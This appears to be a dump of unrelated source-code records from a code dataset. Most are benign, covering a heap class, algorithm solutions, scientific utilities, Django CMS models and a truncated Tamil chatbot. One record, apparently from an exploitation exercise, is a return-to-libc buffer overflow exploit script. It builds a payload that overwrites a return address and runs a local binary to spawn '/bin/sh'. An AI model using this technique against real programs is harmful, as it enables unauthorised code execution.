+{"seq_id":"64624738","text":"\n# Following Princeton example: \n# https://www.cs.princeton.edu/~wayne/kleinberg-tardos/pdf/DemoHeapify.pdf\n# array = [8, 12, 9, 7, 22, 3, 26, 14, 11, 15, 22]\n\nimport math\nimport random\narray = [random.randint(0,200) for _ in range(100)]\n\nclass Heap(object):\n\n\tdef __init__(self, A):\n\t\t'''Initialize object members.'''\n\n\t\t# Instantiate input array.\n\t\tself.A = A\n\n\t\t# Determine nodes that have children\n\t\tmax_range = 0\n\t\twhile 2*(max_range+1)+1 < len(self.A):\n\t\t\tmax_range = max_range + 1\n\n\t\t# Call heapify for nodes with children\n\t\tself.heapify(range(max_range,-1,-1))\n\n\n\tdef siftDown(self,i):\n\t\t'''Method to sink down elements in tree.'''\n\t\t\n\t\t# Find index of min of subchildren\n\t\tif len(self.A) <= 2*i+2: \n\t\t\tswitch = 2*i+1\n\t\telif len(self.A) > 2*i+2 and self.A[2*i+1] < self.A[2*i+2]:\n\t\t\tswitch = 2*i+1\n\t\telse:\n\t\t\tswitch = 2*i+2\n\n\t\t# Swap parent and min subchild if parent > child and switch index in range\n\t\ttry:\n\t\t\tif self.A[i] > self.A[switch]:\n\t\t\t\tself.A[i], self.A[switch] = self.A[switch], self.A[i]\n\t\t\t\treturn self.siftDown(switch)\n\t\texcept IndexError:\n\t\t\treturn\n\n\n\t# @staticmethod might go here\n\tdef heapify(self, node_generator):\n\t\t'''Creates heap using sift down method for specified nodes.'''\n\n\t\tfor j in node_generator:\n\t\t\tprint(j)\n\t\t\tself.siftDown(j)\n\n\n\tdef addNode(self, element):\n\t\t'''Add node to heap, re-heapify for relevant nodes.'''\n\n\t\t# Define max node to pass to generator. Add node to heap.\n\t\tmax_node = len(self.A)\n\t\tself.A.append(element)\n\t\n\t\t# Define generator to construct parent node indices for new node.\n\t\tdef node_construct(node):\n\t\t\twhile node >= 0:\n\t\t\t\tyield node\n\t\t\t\tnode = int(math.floor((node-1)/2))\n\t\t\n\t\t# Call heapify for relevant nodes yielded from generator.\n\t\tself.heapify(node_construct(max_node))\n\n\n\tdef __str__(self):\n\t\t'''Prints array as tree structure.'''\n\t\t# Do something interesting here please.\n\n\t\treturn str(self.A)\n\n\nif __name__ == '__main__':\n\t\n\ttest_heap = Heap(array)\n\tprint(test_heap)\n\n\ttest_heap.addNode(-1)\n\tprint(test_heap)\n\n\t# test_heap.deleteNode(22)\n\n","sub_path":"python/heap.py","file_name":"heap.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"300788293","text":"# coding: utf-8\n\n# Import python libs\nfrom __future__ import absolute_import, print_function, unicode_literals\n\n# Import Salt Testing libs\nfrom tests.support.unit import TestCase\nfrom tests.support.mixins import AdaptedConfigurationTestCaseMixin\n\n# Import Salt libs\nimport salt.wheel\n\n\nclass KeyWheelModuleTest(TestCase, AdaptedConfigurationTestCaseMixin):\n    def setUp(self):\n        self.wheel = salt.wheel.Wheel(dict(self.get_config('client_config')))\n\n    def tearDown(self):\n        del self.wheel\n\n    def test_list_all(self):\n        ret = self.wheel.cmd('key.list_all', print_event=False)\n        for host in ['minion', 'sub_minion']:\n            self.assertIn(host, ret['minions'])\n\n    def test_gen(self):\n        ret = self.wheel.cmd('key.gen', kwarg={'id_': 'soundtechniciansrock'}, print_event=False)\n\n        self.assertIn('pub', ret)\n        self.assertIn('priv', ret)\n        try:\n            self.assertTrue(\n                ret.get('pub', '').startswith('-----BEGIN PUBLIC KEY-----'))\n        except AssertionError:\n            self.assertTrue(\n                ret.get('pub', '').startswith('-----BEGIN RSA PUBLIC KEY-----'))\n\n        self.assertTrue(\n            ret.get('priv', '').startswith('-----BEGIN RSA PRIVATE KEY-----'))\n","sub_path":"tests/integration/wheel/test_key.py","file_name":"test_key.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"484563446","text":"\"\"\"\nhttps://leetcode.com/problems/special-positions-in-a-binary-matrix/\n\nGet row and col non zero count, then go through each postiion.\n\nTime Complexity: O(mn)\n\"\"\"\nclass Solution:\n    def numSpecial(self, mat: List[List[int]]) -> int:\n        m, n = len(mat), len(mat[0])\n        cnt_row, cnt_col = {}, {}\n        for i in range(m):\n            for j in range(n):\n                if mat[i][j] == 1:\n                    cnt_row[i] = cnt_row.get(i, 0) + 1\n                    cnt_col[j] = cnt_col.get(j, 0) + 1\n\n        ans = 0\n        for i in range(m):\n            for j in range(n):\n                if mat[i][j] == 1 and cnt_row[i] == 1 and cnt_col[j] == 1:\n                    ans += 1\n        return ans\n","sub_path":"1582_SpecialPositionsInABinaryMatrix.py","file_name":"1582_SpecialPositionsInABinaryMatrix.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"520148239","text":"\"\"\"\n    Run some tests on a GeocodeServer\n\"\"\"\nimport os\nimport arcgis\nfrom arcgis.gis import GIS\nfrom arcgis.geocoding import geocode\nfrom config import Config\n\nif __name__ == \"__main__\":\n\n    serviceName = Config.SERVER_URL + \\\n        \"/rest/services/clatsop_county_no_parcels/GeocodeServer\"\n    gis = GIS(Config.PORTAL_URL, Config.PORTAL_USER, Config.PORTAL_PASSWORD)\n    print(gis)\n    gc = arcgis.geocoding.get_geocoders(gis)[0]\n\n    tests = [\n        \"McClure Park, Astoria\",\n        \"Capt. Robert Gray School, Astoria\",\n\n        \"1830, Astoria\",\n        \"1830\",\n        \"1831 5th Street, Astoria\",\n        \"1830 5th Street, Astoria\",\n        \"1830 5th St., Astoria\",\n        \"1830 5th St, Astoria\",\n        \"1830 5th, Astoria\",\n        \"1830 5th St.\",\n        \"1830 5th St\",\n        \"5th Street, Astoria\",\n        \"5th Street\",\n        \"5th St., Astoria\",\n        \"5th St.\",\n        \"5th\",\n        \"5\"\n    ]\n\n    for item in tests:\n        print(\"%s -----\" % item)\n        r = geocode(item)\n        for result in r:\n            print(\"  %5.2f %s\" % (result['attributes']['Score'], result['address']))\n","sub_path":"GeocodeServer/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"110787028","text":"from ase.db import connect\nimport numpy as np\nfrom collections import OrderedDict\nfrom lammps import lammps\nfrom ase import Atoms\nimport os\n###############################################################################\n\n\ndef db_conv_analysis(database,\n                     defaults,\n                     base=[]):\n    '''Analysis tools for json database: outputs an (n x n)\n    ndarray, where n is the number of defaults specified'''\n\n    db = connect(database)\n\n    V, E, T = [], [], []\n    for i, v in enumerate(defaults):\n\n        var, nrg, time = [], [], []\n\n        # Search for each variable, maintaining specified defaults\n        search = np.delete(defaults, i)\n        data = db.select(base + search)\n\n        for d in data:\n            var.append(d.key_value_pairs[v.split('=')[0]])\n            nrg.append(d.key_value_pairs['total_energy'])\n            time.append(d.key_value_pairs['calc_time'])\n\n        # Sort the data\n        sort = np.argsort(var)\n        var = np.array(var)[sort]\n        nrg = np.array(nrg)[sort]\n        time = np.array(time)[sort]\n\n        V.append(var)\n        E.append(nrg)\n        T.append(time)\n\n    return V, E, T\n###############################################################################\n\n\ndef pentagon2D(metal, r):\n    '''Returns a 2D pentagon cluster of metal\n    with distance r\n    '''\n\n    from ase import Atoms\n\n    a = np.cos(2*np.pi / 5) * r\n    b = np.cos(np.pi / 5) * r\n    c = np.sin(2*np.pi / 5) * r\n    d = np.sin(4*np.pi / 5) * r\n\n    atoms = Atoms('{0}6'.format(metal),\n                  positions=[(0, 0, 0),\n                             (0, r, 0),\n                             (c, a, 0),\n                             (d, -b, 0),\n                             (-d, -b, 0),\n                             (-c, a, 0)])\n\n    return atoms\n###############################################################################\n\n\ndef get_composition(atoms, basis=None):\n    ''' Acquire the chemical composition of an atoms object\n\n    Returns: a dictionary of atoms and their compositions\n    dictionary sorted by atomic number\n    '''\n\n    symbols = atoms.get_chemical_symbols()\n    count = len(symbols)\n\n    # Collect the symbol and count of each atom type\n    S = OrderedDict()\n\n    for symbol in symbols:\n\n        if symbol in S.keys():\n            S[symbol] += 1.0\n        else:\n            S[symbol] = 1.0\n\n    # Convert to composition\n    for key, val in S.iteritems():\n        S[key] = val / count\n\n    if basis:\n        if basis in S.keys():\n            return S[basis]\n        else:\n            return 0.0\n    else:\n        return S\n###############################################################################\n\n\ndef cell_angle(x, y):\n    ''' Returns the angle of two vectors:\n    used to determine if unit cell is orthorhombic'''\n    cosang = np.dot(x, y)\n    sinang = np.linalg.norm(np.cross(x, y))\n    angle = np.arctan2(sinang, cosang)\n\n    return angle\n###############################################################################\n\n\ndef atoms2lammps(input_atoms):\n    ''' Converts an atoms object to a lammps input file'''\n\n    atoms = Atoms.copy(input_atoms)\n    \n    with open('data.atoms', 'w') as f:\n        f.write('# file produced by jb-function\\n')  # First line is for comment\n        f.write('{0} atoms\\n'.format(len(atoms)))  # Identify number of atoms\n\n        atom_index = {}\n        for i, atom in enumerate(atoms):\n            sym = atom.symbol\n            if sym not in atom_index.keys():\n                atom_index[sym] = [i+1, atom.mass]\n\n        f.write('{0} atom types\\n'.format(len(atom_index)))  # Number of atom types\n\n        a, b, c = atoms.get_cell()\n\n        # Transform input vectors\n        a_x = np.linalg.norm(a)\n\n        b_x = np.linalg.norm(b) * np.cos(cell_angle(a, b))\n        b_y = np.linalg.norm(b) * np.sin(cell_angle(a, b))\n\n        c_x = np.linalg.norm(c) * np.cos(cell_angle(c, a))\n        c_y = (np.dot(b, c) - b_x*c_x) / b_y\n        c_z = np.sqrt(np.linalg.norm(c)**2 - c_x**2 - c_y**2)\n\n        cell = [[a_x, 0.0, 0.0],\n                [b_x, b_y, 0.0],\n                [c_x, c_y, c_z]]\n\n        # Command used to scale atoms to new cell\n        atoms.set_cell(cell, scale_atoms=True)\n\n        f.write('0 {0} xlo xhi\\n'.format(cell[0][0]))\n        f.write('0 {0} ylo yhi\\n'.format(cell[1][1]))\n        f.write('0 {0} zlo zhi\\n'.format(cell[2][2]))\n        f.write('{0} {1} {2} xy xz yz\\n'.format(cell[1][0], cell[2][0], cell[2][1]))\n\n        f.write('Masses\\n\\n')\n        for sym, ind in atom_index.iteritems():\n            f.write('{0} {1} # {2}\\n'.format(ind[0], ind[1], sym))\n        f.write('\\n')\n\n        f.write('Atoms\\n\\n')\n        for i, atom in enumerate(atoms):\n            sym = atom.symbol\n            p = atom.position\n            f.write('{0} {1} {2} {3} {4} {5}\\n'.format(i+1, atom_index[sym][0],\n                                                     0.0, p[0], p[1], p[2]))\n###############################################################################\n\n\ndef reax_potential_energy(atoms, FF='ffield.reax.mitch'):\n    ''' Perform a single point LAMMPS calculation\n    returns the potential energy'''\n    \n    lmp = lammps(cmdargs=['-sc', 'none', '-l', 'none'])\n    lmp.command('units       real')\n    lmp.command('atom_style  charge')\n    lmp.command('box         tilt large')\n\n    pbc = ['f', 'f', 'f']\n    for i, bc in enumerate(atoms.get_pbc()):\n        if bc:\n            pbc[i] = 'p'\n\n    lmp.command('boundary {0} {1} {2}'.format(pbc[0], pbc[1], pbc[2]))\n\n    atoms2lammps(atoms)\n\n    lmp.command('read_data   data.atoms')\n    lmp.command('pair_style  reax/c NULL')\n    lmp.command('pair_coeff  * * {0} Au'.format(FF))\n    lmp.command('fix         1 all qeq/reax 1 0.0 10.0 1e-6 reax/c')\n    lmp.command('variable    nrg equal pe/23.06035')\n    lmp.command('run         0')\n    nrg = lmp.extract_variable(\"nrg\", None, 0)\n    lmp.close()\n    os.unlink('log.cite')\n    os.unlink('data.atoms')\n\n    return nrg\n###############################################################################\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"141583902","text":"# -*- coding: utf-8 -*-\n# Open Source Initiative OSI - The MIT License (MIT):Licensing\n#\n# The MIT License (MIT)\n# Copyright (c) 2012 DotCloud Inc (opensource@dotcloud.com)\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy of\n# this software and associated documentation files (the \"Software\"), to deal in\n# the Software without restriction, including without limitation the rights to\n# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies\n# of the Software, and to permit persons to whom the Software is furnished to do\n# so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\n\n\nclass ReqRep():\n\n    def process_call(self, context, bufchan, event, functor):\n        result = context.middleware_call_procedure(functor, *event.args)\n        bufchan.emit('OK', (result,), context.middleware_get_task_context())\n\n    def accept_answer(self, event):\n        return True\n\n    def process_answer(self, context, bufchan, event, method,\n            raise_remote_error):\n        result = event.args[0]\n        if event.name == 'ERR':\n            raise_remote_error(event)\n        bufchan.close()\n        bufchan.channel.close()\n        bufchan.channel.channel.close()\n        return result\n\n\nclass ReqStream():\n\n    def process_call(self, context, bufchan, event, functor):\n        xheader = context.middleware_get_task_context()\n        for result in iter(context.middleware_call_procedure(functor,\n                *event.args)):\n            bufchan.emit('STREAM', result, xheader)\n        bufchan.emit('STREAM_DONE', None, xheader)\n\n    def accept_answer(self, event):\n        return event.name in ('STREAM', 'STREAM_DONE')\n\n    def process_answer(self, context, bufchan, event, method,\n            raise_remote_error):\n        def iterator(event):\n            while event.name == 'STREAM':\n                yield event.args\n                event = bufchan.recv()\n            if event.name == 'ERR':\n                raise_remote_error(event)\n            bufchan.close()\n            bufchan.channel.channel.close()\n        return iterator(event)\n\npatterns_list = [ReqStream(), ReqRep()]\n","sub_path":"zerorpc/patterns.py","file_name":"patterns.py","file_ext":"py","file_size_in_byte":2731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"623695334","text":"import sys\r\n\r\n\r\ndef num_vowels(text):\r\n    num_vowels = 0\r\n    for char in text.lower():\r\n        if char in 'aeiouáéíóúü':\r\n            num_vowels += 1\r\n    return num_vowels\r\n\r\n\r\ndef num_whitespaces(text):\r\n    num_whitespaces = 0\r\n    for char in text:\r\n        if char in ' ':\r\n            num_whitespaces += 1\r\n    return num_whitespaces\r\n\r\n\r\ndef num_digits(text):\r\n    num_digits = 0\r\n    for char in text:\r\n        if char in '0123456789':\r\n            num_digits += 1\r\n    return num_digits\r\n\r\n\r\ndef num_words(text):\r\n    docket = text.split()\r\n    count = len(docket)\r\n    return count\r\n\r\n\r\ndef reverse(text):\r\n    string = text\r\n    text_rev = text[::-1]\r\n    return text_rev\r\n\r\n\r\ndef length(text):\r\n    num_char = len(text)\r\n    return num_char\r\n\r\n\r\ndef halfs(text):\r\n    str_range = len(text)\r\n    if str_range >= 2:\r\n        mid = str_range // 2\r\n        first_half = text[:mid]\r\n        second_half = text[mid:]\r\n\r\n    return \" | \".join((first_half, second_half))\r\n\r\n\r\ndef upper_vowels(text):\r\n    vowels = \"AEIOU\"\r\n    uppvow = \"\"\r\n    for char in text:\r\n        if char.upper() in vowels:\r\n            uppvow += char.upper()\r\n        else:\r\n            uppvow += char\r\n    return uppvow\r\n\r\n\r\ndef sorted_by_words(text):\r\n    docket = text.split()\r\n    docket.sort()\r\n    sorted = ' '.join(docket)\r\n    return sorted\r\n\r\n\r\n\r\ndef length_of_words(text):\r\n    text_docket = text.split()\r\n    length_docket = []\r\n\r\n    for char in text_docket:\r\n        length = str(len(char))\r\n        length_docket.append(length)\r\n    word_len = \" \".join(length_docket)\r\n\r\n    return word_len\r\n\r\n\r\nif __name__ == '__main__':\r\n    text = sys.argv[1]\r\n    print('Number of vowels:', num_vowels(text))\r\n    print('Number of whitespaces:', num_whitespaces(text))\r\n    print('Number of digits:', num_digits(text))\r\n    print('Number of words:', num_words(text))\r\n    print('Reverse of text:', reverse(text))\r\n    print('Length of text:', length(text))\r\n    print('Halfs of text:', halfs(text))\r\n    print('Text with uppercased vowels:', upper_vowels(text))\r\n    print('Sorted by words:', sorted_by_words(text))\r\n    print('Length of words:', length_of_words(text))\r\n","sub_path":"ut2/a5/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"123918050","text":"import os\n#import random\nimport numpy as np\nimport torch\nfrom torch.utils import data\nfrom torchvision import transforms as T\nfrom torchvision.transforms import functional as F\nfrom PIL import Image\n\nclass TestImageFolder(data.Dataset):\n    def __init__(self, root,image_size=224):\n        \"\"\"Initializes image paths and preprocessing module.\"\"\"\n        self.root = root\n        \n        self.image_paths = list(map(lambda x: os.path.join(root + \"images/\", x), os.listdir(root + \"images/\")))\n        self.image_size = image_size\n        print(\"image count in path :{}\".format(len(self.image_paths)))\n\n    def __getitem__(self, index):\n        \"\"\"Reads an image from a file and preprocesses it and returns.\"\"\"\n        image_path = self.image_paths[index]\n        filename = image_path.split('/')[-1]\n        image = Image.open(image_path)\n        \n        aspect_ratio = image.size[1]/image.size[0]\n\n        Transform = []\n\n        #ResizeRange = random.randint(300,320)\n        #Transform.append(T.Resize((int(ResizeRange*aspect_ratio),ResizeRange)))\n\n\n        Transform.append(T.Resize((int(self.image_size*aspect_ratio)-int(self.image_size*aspect_ratio)%16,self.image_size)))\n        Transform.append(T.ToTensor())\n        Transform = T.Compose(Transform)\n\n        image = Transform(image)\n\n        Norm_ = T.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n        image = Norm_(image)\n\n        return image, filename\n\n    def __len__(self):\n        \"\"\"Returns the total number of font files.\"\"\"\n        return len(self.image_paths)\n\ndef get_testloader(image_path, image_size, batch_size, num_workers=2):\n    \"\"\"Builds and returns Dataloader.\"\"\"\n    dataset = TestImageFolder(root = image_path, image_size = image_size)\n    data_loader = data.DataLoader(dataset=dataset,\n                                  batch_size=batch_size,\n                                  shuffle=False,\n                                  num_workers=num_workers)\n    return data_loader\n","sub_path":"Version/aerial_release/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"55856363","text":"import argparse\nfrom numpy import random\nfrom Kmeans import MRKmeans, stop_criterion, load_centroids\n\nparser = argparse.ArgumentParser(description='MRKmeans')\nparser.add_argument('-k', type=str)\nparser.add_argument('--file', type=str)\nparser.add_argument('--stage', type=str, default=\"train\")\nargs = parser.parse_args()\n\nmr_job_args = [\"topUsers_Apr-Jul_2014_1000-words.txt\",\n                \"--file\", args.file,\n                \"-k\", args.k, \"--centroids\", args.file]\n\nif args.stage == \"prediction\":\n    mr_job_args = mr_job_args + [\"--mapper\", \"-v\"]\n\nmr_job = MRKmeans(args=mr_job_args)\n\n#Geneate initial centroids\ncentroid_points = load_centroids(args.file)\nT = 0.001\n# Update centroids iteratively\ni = 0\n\ndef print_list(long_list):\n    fmt = lambda x: \"{0:.4f}\".format(x)\n    start = map(fmt, long_list[:3])\n    end = map(fmt, long_list[-2:])\n    return '[ ' + \",\".join(start) + ', ... ,' + \",\".join(end) + ' ]'\n\nif args.stage == \"prediction\":\n    mr_job.run_mapper()\nelse:\n    while(1):\n        # save previous centoids to check convergency\n        centroid_points_old = centroid_points[:]\n        print (\"iteration\"+str(i)+\":\")\n        with mr_job.make_runner() as runner: \n            runner.run()\n            # stream_output: get access of the output \n            for line in runner.stream_output():\n                key,value =  mr_job.parse_output_line(line)\n                print (key, print_list(value))\n                centroid_points[key] = value\n        i = i + 1\n        if(stop_criterion(centroid_points_old,centroid_points,T)):\n            break\n    print (\"Centroids:\\n\")\n    for c in centroid_points:\n        print(print_list(c))","sub_path":"week4-hw/run_kmeans.py","file_name":"run_kmeans.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"121359204","text":"# -*- coding: utf-8 -*-\n\nfrom .types import (\n    CircleType,\n    BoxType,\n    PointType,\n)\n\nfrom .expressions import (\n    Distance,\n    Overlaps,\n    Contains,\n    ToBox,\n)\n\nfrom .objects import (\n    Point,\n    Box,\n    Circle,\n)\n\n__all__ = [\n    'Point', 'Circle', 'Box', 'Overlaps', 'Contains',\n    'PointType', 'CircleType', 'BoxType', 'Distance',\n    'ToBox',\n]\n","sub_path":"django_sqlalchemy/postgresql/geometric/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"266066963","text":"# exploit.py\nimport sys\nimport struct\nfrom subprocess import Popen\n\nbufsize = int(sys.argv[1])\naddr = int(sys.argv[2], 16)\naddr_buf = int(sys.argv[3], 16)\n\nbuf = 'A' * bufsize\nbuf += 'AAAA' * 3\nbuf += struct.pack('<I', addr)\nbuf += 'AAAA'\nbuf += struct.pack('<I', addr_buf+len(buf)+4)\nbuf += '/bin/sh'\n\nwith open('buf', 'wb') as f:\n    f.write(buf)\n\np = Popen(['./a.out', buf])\np.wait()\n","sub_path":"exploit/3.return-to-libc/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"346437262","text":"# Think reversely. Longest word chain starts with a \"longest\" word and by removing letters\n# we get shorter words until some word that does not have predecessors.\n# To avoid duplicate computations, use cache to save the middle results.\nclass Solution:\n    def longestStrChain(self, words: List[str]) -> int:\n        def search(word):\n            if word not in cache:\n                max_ = 0\n                for idx, letter in enumerate(word):\n                    pred = word[:idx] + word[idx + 1:]\n                    if pred in cache:\n                        max_ = max(max_, cache[pred])\n                cache[word] = max_ + 1\n            return cache[word]\n\n        words.sort(key=lambda x: len(x))\n        cache = {}  # key = word, val = longest seq len\n        res = 0\n        for word in words:\n            res = max(res, search(word))\n        return res\n","sub_path":"Dynamic_programming/1048_longest_string_chain.py","file_name":"1048_longest_string_chain.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"128144915","text":"from django.db import models\nfrom cms.models.pluginmodel import CMSPlugin\nfrom filer.fields.image import FilerImageField\nfrom djangocms_text_ckeditor.fields import HTMLField\nfrom django.utils.html import strip_tags\nfrom django.utils.text import Truncator\nfrom django.utils.translation import ugettext_lazy as _\n\n\n# model for handling an improved card deck\nclass ImprovedCardDeckModel(CMSPlugin):\n    placeholders = models.PositiveSmallIntegerField(\n        _(\"number of placeholders\"),\n        help_text=_(\"Please enter the number of maximum horizontal cards -1 to prohibit some strange width behavior.\"),\n        default=1\n    )\n\n    styleClasses = models.CharField(\n        _(\"additional style classes\"),\n        help_text=_(\"Optionally you can add special style classes to help styling.\"),\n        max_length=255,\n        default=\"\",\n        blank=True\n    )\n\n    def __str__(self):\n        return ''\n\n\n# model for handling a ImageTextCard\nclass ImageTextCardModel(CMSPlugin):\n    # field for handling the image\n    image = FilerImageField(\n        verbose_name=_(\"image\"),\n        related_name='image',\n        on_delete=models.SET_NULL,\n        null=True,\n        blank=False\n    )\n\n    # field for handling the aspect ratio\n    aspectRatio_CHOICE = (\n        (\"aspect-ratio-4-3\", \"4:3\"),\n        (\"aspect-ratio-3-2\", \"3:2\"),\n        (\"aspect-ratio-16-9\", \"16:9\"),\n        (\"aspect-ratio-1-1\", \"1:1\")\n    )\n    aspectRatio = models.CharField(\n        _(\"aspect ratio\"),\n        help_text=_(\n            \"Select the aspect ratio your image should be shown with. The image will be automatically cropped.\"),\n        choices=aspectRatio_CHOICE,\n        max_length=20\n    )\n\n    # field for handling the positing of the image on cropping\n    imagePos_CHOICE = (\n        (\"center top\", (\"X: \" + str(_('center')) + \", Y: \" + str(_('top')))),\n        (\"center center\", (\"X: \" + str(_('center')) + \", Y: \" + str(_('center')))),\n        (\"center bottom\", (\"X: \" + str(_('center')) + \", Y: \" + str(_('bottom')))),\n        (\"left top\", (\"X: \" + str(_('left')) + \", Y: \" + str(_('top')))),\n        (\"left center\", (\"X: \" + str(_('left')) + \", Y: \" + str(_('center')))),\n        (\"left bottom\", (\"X: \" + str(_('left')) + \", Y: \" + str(_('bottom')))),\n        (\"right top\", (\"X: \" + str(_('right')) + \", Y: \" + str(_('top')))),\n        (\"right center\", (\"X: \" + str(_('right')) + \", Y: \" + str(_('center')))),\n        (\"right bottom\", (\"X: \" + str(_('right')) + \", Y: \" + str(_('bottom'))))\n    )\n    imagePos = models.CharField(\n        _(\"image alignment\"),\n        help_text=_(\"Select the alignment you want to have if the image is cropped\"),\n        choices=imagePos_CHOICE,\n        max_length=15,\n        default=\"center center\"\n    )\n\n    # field for the content of the card\n    content = HTMLField(\n        _(\"content of the card\"),\n        default=_(\"Type your text here.\"),\n    )\n\n    # field to add additional style classes\n    styleClasses = models.CharField(\n        _(\"additional style classes\"),\n        help_text=_(\"Optionally you can add special style classes to help styling.\"),\n        max_length=255,\n        default=\"\",\n        blank=True\n    )\n\n    # fields for the show more button\n    showMoreButton = models.BooleanField(\n        _(\"show show-more-button\"),\n        default=False\n    )\n    showMoreButtonText = models.CharField(\n        _(\"Text shown on the show-more-button\"),\n        default=_(\"Show more\"),\n        max_length=255\n    )\n    showMoreButtonHref = models.CharField(\n        _(\"link the show-more-button should direct to\"),\n        default=\"/\",\n        max_length=255\n    )\n\n    def __str__(self):\n        return Truncator(strip_tags(self.content).replace('&shy', '')).words(3, truncate=\"...\")\n\n\nclass NewsPost(models.Model):\n    title = models.CharField(\n        _(\"Title of the post\"),\n        max_length=255,\n        default=\"\",\n        blank=False\n    )\n\n    date = models.DateTimeField(_(\"date of publication\"))\n\n    published = models.BooleanField(\n        _(\"published\"),\n        help_text=_(\"Show news post in news feed and on news page\"),\n        default=False\n    )\n\n    content = HTMLField(\n        _(\"Content of the news post\"),\n        default=_(\"Type your text here.\")\n    )\n\n    def preview_content(self):\n        return Truncator(self.content).words(100, \"...\")\n\n    def preview_shorter(self):\n        return self.preview_content().endswith(\"...\")\n\n    def __str__(self):\n        return '{} - {}.{}.{}'.format(self.title, self.date.day, self.date.month, self.date.year)\n\n    class Meta:\n        verbose_name = _('news post')\n        verbose_name_plural = _('news posts')\n        ordering = [\"-date\", \"published\"]\n\n\nclass NewsFeedModel(CMSPlugin):\n    # field to select the number of posts to be shown\n    items = models.PositiveSmallIntegerField(\n        _(\"number of posts shown\"),\n        help_text=_(\"The feed always shows the latest news order by date. 0 will show all news posts.\"),\n        default=1\n    )\n\n    # field to toggle the preview mode\n    previewMode = models.BooleanField(\n        _(\"use the news preview\"),\n        help_text=_(\"instead of the content the preview content is shown in the news feed\"),\n        default=False\n    )\n\n    # field to toggle if button to news page should be shown\n    newsOverview = models.BooleanField(\n        _(\"display a link to the news overview\"),\n        default=False\n    )\n\n    # field to add additional style classes\n    styleClasses = models.CharField(\n        _(\"additional style classes\"),\n        help_text=_(\"Optionally you can add special style classes to help styling.\"),\n        max_length=255,\n        default=\"\",\n        blank=True\n    )\n\n    def __str__(self):\n        return '{} post(s)'.format(self.items)\n","sub_path":"orpheuscms/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"439570822","text":"from googletrans import Translator\nimport pandas as pd\nfrom csv import writer\nimport sys\n\n\nBD_data = pd.read_csv(r\"Data.csv\").values.tolist()\n\nblood_groups_list = [\"A+\",\"O+\",\"B+\",\"B-\",\"AB+\",\"A1+\",\"O-\",\"A-\",\"A2-\",\"A1B+\",\"A2+\",\"A2B+\",\"AB-\",\"A1-\",\"A2B-\",\"A1B-\"]\ndonors_location_list = ['ARIYALUR', 'CHENGALPATTU', 'CHENNAI', 'COIMBATORE', 'CUDDALORE', 'DHARMAPURI', 'DINDIGUL', 'ERODE', 'KALLAKURICHI', 'KANCHIPURAM', 'KANYAKUMARI', 'KARUR', 'KRISHNAGIRI', 'MADURAI', 'MAYILADUTHURAI', 'NAGAPATTINAM', 'NAMAKKAL', 'NILGIRIS', 'PERAMBALUR', 'PUDUKKOTTAI', 'RAMANATHAPURAM', 'RANIPET', 'SALEM', 'SIVAGANGA', 'TENKASI', 'THANJAVUR', 'THENI', 'THOOTHUKUDI', 'TIRUCHIRAPPALLI', 'TIRUNELVELI', 'TIRUPATTUR', 'TIRUPPUR', 'TIRUVALLUR', 'TIRUVANNAMALAI', 'TIRUVARUR', 'VELLORE', 'VILUPPURAM', 'VIRUDHUNAGAR']\n\ndata_list = []\nblood_group = \"\"\nrecipient_location = \"\"\ninput_type = \"LANG\"\nlanguage = \"NONE\"\n\nrname = \"\"\nrbloodgroup = \"\"\nrlocation = \"\"\nrmobile = \"\"\n\n\ndef tamil_to_english(str):\n    t = Translator()\n    return t.translate(str, dest='english').text\n    \n\ndef english_to_tamil(str):\n    t = Translator()\n    return t.translate(str, dest='tamil').text\n\nresponse_dict_tamil = {\n\n    #Welcome Commands\n    \"வணக்கம்\"    : \"வணக்கம், நான் 